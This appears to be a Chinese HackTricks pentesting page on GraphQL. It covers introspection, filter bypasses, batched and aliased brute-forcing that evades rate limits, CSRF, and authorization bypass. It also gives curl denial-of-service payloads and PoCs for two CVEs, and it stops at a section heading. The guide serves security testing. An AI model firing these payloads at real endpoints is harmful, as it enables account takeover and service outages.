657 lines
40 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# GraphQL
{{#include ../../banners/hacktricks-training.md}}
## 介绍
GraphQL 被 **强调****REST API 的高效替代方案**,提供了一种简化的方式来从后端查询数据。与 REST 相比REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**,减少了他们的数据获取过程的复杂性。
## GraphQL 和安全性
随着包括 GraphQL 在内的新技术的出现,新的安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。
### 目录暴力攻击与 GraphQL
为了识别暴露的 GraphQL 实例,建议在目录暴力攻击中包含特定路径。这些路径包括:
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`
识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息,请参阅 GraphQL 文档中的自省:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### 指纹识别
工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有帮助的信息。
#### 通用查询 <a href="#universal-queries" id="universal-queries"></a>
要检查一个 URL 是否为 GraphQL 服务,可以发送一个 **通用查询**`query{__typename}`。如果响应包含 `{"data": {"__typename": "Query"}}`,则确认该 URL 托管了一个 GraphQL 端点。此方法依赖于 GraphQL 的 `__typename` 字段,该字段揭示了被查询对象的类型。
```javascript
query{__typename}
```
### 基本枚举
Graphql 通常支持 **GET**、**POST** (x-www-form-urlencoded) 和 **POST**(json)。虽然出于安全考虑,建议仅允许 json 以防止 CSRF 攻击。
#### 反向查询
要使用反向查询发现架构信息,请查询 `__schema` 字段。该字段在所有查询的根类型上可用。
```bash
query={__schema{types{name,fields{name}}}}
```
使用此查询,您将找到所有正在使用的类型的名称:
![](<../../images/image (1036).png>)
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
通过此查询,您可以提取所有类型、字段及其参数(以及参数的类型)。这将非常有助于了解如何查询数据库。
![](<../../images/image (950).png>)
**错误**
了解**错误**是否会被**显示**是很有趣的,因为它们将提供有用的**信息。**
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
![](<../../images/image (416).png>)
**通过自省枚举数据库模式**
> [!TIP]
> 如果自省已启用但上述查询未运行,请尝试从查询结构中删除 `onOperation`、`onFragment` 和 `onField` 指令。
```bash
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
内联自省查询:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
最后一行代码是一个graphql查询将转储所有的元信息对象名称、参数、类型...
![](<../../images/image (363).png>)
如果启用了自省,您可以使用 [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) 在图形用户界面中查看所有选项。
### 查询
现在我们知道数据库中保存了哪种信息,让我们尝试 **提取一些值**
在自省中,您可以找到 **可以直接查询的对象**(因为您不能仅仅因为对象存在就查询它)。在下面的图像中,您可以看到 "_queryType_" 被称为 "_Query_",而 "_Query_" 对象的一个字段是 "_flags_",这也是一种对象类型。因此,您可以查询标志对象。
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
请注意,查询 "_flags_" 的类型是 "_Flags_",该对象定义如下:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
您可以看到 "_Flags_" 对象由 **name****value** 组成。然后,您可以使用以下查询获取所有标志的名称和值:
```javascript
query={flags{name, value}}
```
请注意,如果**查询的对象**是**原始****类型**,例如**字符串**,如以下示例所示
![](<../../images/image (958).png>)
您可以直接查询:
```javascript
query = { hiddenFlags }
```
在另一个例子中,"_Query_" 类型对象中有两个对象:"_user_" 和 "_users_"。\
如果这些对象不需要任何参数进行搜索,可以**直接请求**所需的数据来**检索所有信息**。在这个互联网示例中,你可以提取保存的用户名和密码:
![](<../../images/image (880).png>)
然而,在这个例子中,如果你尝试这样做,你会得到这个**错误**
![](<../../images/image (1042).png>)
看起来它会使用类型为 _**Int**_ 的 "_**uid**_" 参数进行搜索。\
无论如何,我们已经知道,在 [Basic Enumeration](graphql.md#basic-enumeration) 部分提出了一个查询,显示了所有所需的信息:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
如果你阅读提供的图像,当我运行该查询时,你会看到 "_**user**_" 有类型为 _Int_**arg** "_**uid**_"。
因此,通过一些轻量级的 _**uid**_ 暴力破解,我发现 _**uid**=**1**_ 时检索到了一个用户名和密码:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
注意,我**发现**我可以请求 **参数** "_**user**_" 和 "_**password**_",因为如果我尝试查找不存在的内容 (`query={user(uid:1){noExists}}`),我会得到这个错误:
![](<../../images/image (707).png>)
在**枚举阶段**,我发现 "_**dbuser**_" 对象的字段有 "_**user**_" 和 "_**password**_"。
**查询字符串转储技巧(感谢 @BinaryShadow\_**
如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 _注意这个例子与教程的例子无关对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_
### 搜索
在这个设置中,一个**数据库**包含**人员**和**电影**。**人员**通过他们的**电子邮件**和**姓名**进行识别;**电影**通过它们的**名称**和**评分**进行识别。**人员**可以互为朋友,也可以拥有电影,表示数据库中的关系。
你可以**通过** **姓名**搜索人员并获取他们的电子邮件:
```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```
您可以通过**姓名**搜索人员并获取他们**订阅**的**电影**
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
注意如何指示检索该人的 `subscribedMovies``name`
您还可以**同时搜索多个对象**。在这种情况下,搜索了 2 部电影:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```
或者甚至是 **使用别名的多个不同对象的关系**
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
### Mutations
**变更用于在服务器端进行更改。**
**introspection** 中,您可以找到 **声明的** **变更**。在下图中,"_MutationType_" 被称为 "_Mutation_",而 "_Mutation_" 对象包含变更的名称(在本例中为 "_addPerson_"
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
在此设置中,**数据库** 包含 **人员****电影**。**人员** 通过他们的 **电子邮件****姓名** 进行识别;**电影** 通过它们的 **名称****评分** 进行识别。**人员** 可以互为朋友,并且也可以拥有电影,表示数据库中的关系。
一个 **在数据库中创建新** 电影的变更可以如下所示(在此示例中,变更被称为 `addMovie`
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```
**注意查询中如何指示值和数据类型。**
此外,数据库支持一个名为 `addPerson`**mutation** 操作,允许创建 **persons** 及其与现有 **friends****movies** 的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,才能将它们链接到新创建的人。
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```
### 指令重载
正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的指令重载意味着调用指令甚至数百万次以使服务器浪费操作直到可能发生拒绝服务攻击DoS
### 在1个API请求中批量暴力破解
此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\
通过GraphQL API进行身份验证**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击但现在由于GraphQL批量处理功能可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。
下面是一个应用程序身份验证请求的最简单演示,**一次有3个不同的电子邮件/密码对**。显然,可以以相同的方式在单个请求中发送数千个:
![](<../../images/image (1081).png>)
从响应截图中可以看到第一个和第三个请求返回了_null_并在_error_部分反映了相应的信息。**第二个变更具有正确的身份验证**数据,响应中包含正确的身份验证会话令牌。
![](<../../images/image (119) (1).png>)
## 无需自省的GraphQL
越来越多的**graphql端点正在禁用自省**。然而当收到意外请求时graphql抛出的错误足以让像[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)这样的工具重建大部分架构。
此外Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail) **观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL **架构**每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时该扩展返回一个假响应。因此GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
一个很好的**词表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。
### 绕过GraphQL自省防御 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
为了绕过API中对自省查询的限制`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注`__schema`关键字来阻止自省。通过添加像**空格、换行符和逗号**这样的字符GraphQL会忽略这些字符但正则表达式可能没有考虑到从而可以绕过限制。例如`__schema`后面带有换行符的自省查询可能会绕过这样的防御:
```bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
```
如果不成功,请考虑其他请求方法,例如 **GET 请求****使用 `x-www-form-urlencoded` 的 POST 请求**,因为限制可能仅适用于 POST 请求。
### 尝试 WebSockets
如 [**此演讲**](https://www.youtube.com/watch?v=tIo_t5uUK50) 中提到的,检查是否可以通过 WebSockets 连接到 graphQL因为这可能允许您绕过潜在的 WAF并使 websocket 通信泄露 graphQL 的架构:
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
```
### **发现暴露的 GraphQL 结构**
当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露的敏感查询**。在开发者工具中搜索的命令是:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## GraphQL中的CSRF
如果你不知道什么是CSRF请阅读以下页面
{{#ref}}
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}
在外面,你将能够找到几个**未配置CSRF令牌的**GraphQL端点。
请注意GraphQL请求通常通过使用Content-Type **`application/json`**的POST请求发送。
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
然而,大多数 GraphQL 端点也支持 **`form-urlencoded` POST 请求:**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
因此,由于像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的,因此可以 **执行** **更改** 在 GraphQL 中利用 CSRF。
但是请注意Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。
请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送,并且 CSRF 令牌可能不会在 GET 请求中被验证。
此外,利用 [**XS-Search**](../../pentesting-web/xs-search/index.html) **攻击** 可能能够从 GraphQL 端点中窃取内容,利用用户的凭据。
有关更多信息 **请查看** [**原始帖子在这里**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
## GraphQL 中的跨站 WebSocket 劫持
类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 **跨站 WebSocket 劫持,以利用未保护的 cookie 进行 GraphQL 身份验证**,并使用户在 GraphQL 中执行意外操作。
有关更多信息,请查看:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## GraphQL 中的授权
在端点上定义的许多 GraphQL 函数可能仅检查请求者的身份验证,而不检查授权。
修改查询输入变量可能导致敏感账户详细信息 [泄露](https://hackerone.com/reports/792927)。
变更甚至可能导致账户接管,试图修改其他账户数据。
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### 绕过 GraphQL 中的授权
[将查询链接](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)在一起可以绕过一个弱认证系统。
在下面的示例中您可以看到操作是“forgotPassword”并且它应该只执行与之关联的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点在这种情况下我们添加“register”和一个用户变量以便系统注册为新用户。
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## 使用 GraphQL 中的别名绕过速率限制
在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时**明确命名属性**。这个能力对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能具有多个同名属性的限制。
要详细了解 GraphQL 别名,推荐以下资源:[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
虽然别名的主要目的是减少多个 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,因此可以绕过此类速率限制措施。
考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
## DoS in GraphQL
### Alias Overloading
**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段重载查询,使用多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段 (`expensiveField`) 被请求了 1,000 次,使用别名,迫使后端计算 1,000 次,可能耗尽 CPU 或内存:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
为了减轻这一问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。
### **基于数组的查询批处理**
**基于数组的查询批处理** 是一种漏洞,其中 GraphQL API 允许在单个请求中批处理多个查询使攻击者能够同时发送大量查询。这可能通过并行执行所有批处理查询来压垮后端消耗过多的资源CPU、内存、数据库连接并可能导致 **服务拒绝DoS**。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
在这个例子中10个不同的查询被批量处理成一个请求迫使服务器同时执行所有查询。如果利用更大的批量大小或计算开销大的查询这可能会使服务器过载。
### **指令过载漏洞**
**指令过载**发生在GraphQL服务器允许带有过多重复指令的查询时。这可能会使服务器的解析器和执行器不堪重负特别是当服务器反复处理相同的指令逻辑时。如果没有适当的验证或限制攻击者可以通过构造一个包含大量重复指令的查询来利用这一点从而触发高计算或内存使用导致**服务拒绝DoS**
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
```
请注意,在前面的示例中,`@aa` 是一个可能未声明的自定义指令。通常存在的一个常见指令是 **`@include`**
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
```
您还可以发送一个 introspection 查询以发现所有声明的指令:
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
然后**使用一些自定义的**。
### **字段重复漏洞**
**字段重复**是一种漏洞其中GraphQL服务器允许查询中同一字段重复过多。这迫使服务器为每个实例冗余地解析该字段消耗大量资源CPU、内存和数据库调用。攻击者可以构造包含数百或数千个重复字段的查询导致高负载并可能导致**服务拒绝DoS**
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
## 最近的漏洞 (2023-2025)
> GraphQL 生态系统发展非常迅速;在过去两年中,多个关键问题在最常用的服务器库中被披露。当你找到一个 GraphQL 端点时,因此值得对引擎进行指纹识别(参见 **graphw00f**)并检查运行版本与以下漏洞的对比。
### CVE-2024-47614 `async-graphql` 指令过载 DoS (Rust)
* 受影响async-graphql < **7.0.10** (Rust)
* 根本原因:对 **重复指令**(例如,成千上万的 `@include`)没有限制,这些指令会扩展成指数数量的执行节点。
* 影响:单个 HTTP 请求可以耗尽 CPU/RAM 并使服务崩溃。
* 修复/缓解:升级至 ≥ 7.0.10 或调用 `SchemaBuilder.limit_directives()`;或者使用 WAF 规则过滤请求,例如 `"@include.*@include.*@include"`
```graphql
# PoC repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
```
### CVE-2024-40094 `graphql-java` ENF 深度/复杂性绕过
* 受影响: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
* 根本原因: **ExecutableNormalizedFields** 未被 `MaxQueryDepth` / `MaxQueryComplexity` 工具考虑因此递归片段绕过了所有限制
* 影响: 对嵌入 graphql-java Java 堆栈Spring Boot, Netflix DGS, Atlassian 产品…)的未经身份验证的 DoS 攻击
```graphql
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
```
### CVE-2023-23684 WPGraphQL SSRF to RCE chain
* 受影响: WPGraphQL 1.14.5 (WordPress 插件)。
* 根本原因: `createMediaItem` 变更接受攻击者控制的 **`filePath` URLs**允许内部网络访问和文件写入
* 影响: 经过身份验证的编辑/作者可以访问元数据端点或写入 PHP 文件以进行远程代码执行
---
## 增量交付滥用: `@defer` / `@stream`
